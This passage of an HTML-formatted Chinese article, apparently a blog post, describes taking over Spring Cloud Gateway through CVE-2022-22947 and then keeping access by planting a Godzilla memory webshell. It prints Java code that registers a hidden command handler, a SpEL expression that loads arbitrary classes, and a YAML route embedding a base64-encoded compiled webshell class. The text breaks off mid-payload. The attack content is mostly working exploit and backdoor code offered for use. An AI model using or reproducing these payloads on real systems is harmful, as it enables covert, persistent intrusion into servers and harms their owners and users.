initial;display: inline !important;float: none;">成功执行：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.36666666666666664" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=869c084e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnOmETpcIVyYXEqJmLpEM8zgPDZhm2icicOr3mTZD7fCWsUibN1yxmv4Avw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">至此我们成功获取的CloudGateway的权限。</span></p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">SpringCloudGateway持久化</h2><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过漏洞执行命令始终不是长久之计，修改路由比较明显，我们可以通过spel对目标植入内存马，已经有比较成熟的开源项目<a href="https://github.com/0730Nophone/CVE-2022-22947-。内存马class主要来自https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java。" target="_blank">https://github.com/0730Nophone/CVE-2022-22947-。内存马class主要来自https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java。</a></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">SpringCloudGateway实现内存马主要依赖requestMappingHandlerMapping的registerHandlerMethod方法注册控制器：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">    public static String doInject(Object obj, String path) {<br/>        String msg;<br/>        try {<br/>            md5 = md5(pass + xc);<br/>            Method registerHandlerMethod = obj.getClass().getDeclaredMethod(&#34;registerHandlerMethod&#34;, Object.class, Method.class, RequestMappingInfo.class);<br/>            registerHandlerMethod.setAccessible(true);<br/>            Method executeCommand = GMemShell.class.getDeclaredMethod(&#34;cmd&#34;, ServerWebExchange.class);<br/>            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();<br/>            registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);<br/>            msg = &#34;ok&#34;;<br/>        } catch (Exception e) {<br/>            e.printStackTrace();<br/>            msg = &#34;error&#34;;<br/>        }<br/>        return msg;<br/>    }</code></pre><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在spel中可以利用以下代码加载任意class：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">&#34;#{T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;ms.GMemShell&#39;,T(org.springframework.util.Base64Utils).decodeFromString(payload),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,&#39;/gmem&#39;)}&#34;}</code></pre><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用完成的yaml注册路由：</p><pre style="background: rgb(30, 30, 30);color: rgb(220, 220, 220);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="text-align: left;line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 16px;margin: 0px;white-space: nowrap;">spring:<br/>  cloud:<br/>    gateway:<br/>      routes:<br/>        - id: exam<br/>          order: 0<br/>          uri: lb://spring-cloud-service<br/>          predicates:<br/>            - Path=/fuck/**<br/>          filters:<br/>            - name: AddResponseHeader<br/>              args:<br/>                name: result<br/>                value: &#34;#{T(org.springframework.cglib.core.ReflectUtils).defineClass(&#39;ms.GMemShell&#39;,T(org.springframework.util.Base64Utils).decodeFromString(&#39;yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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&#39;),new javax.management.loading.MLet(new 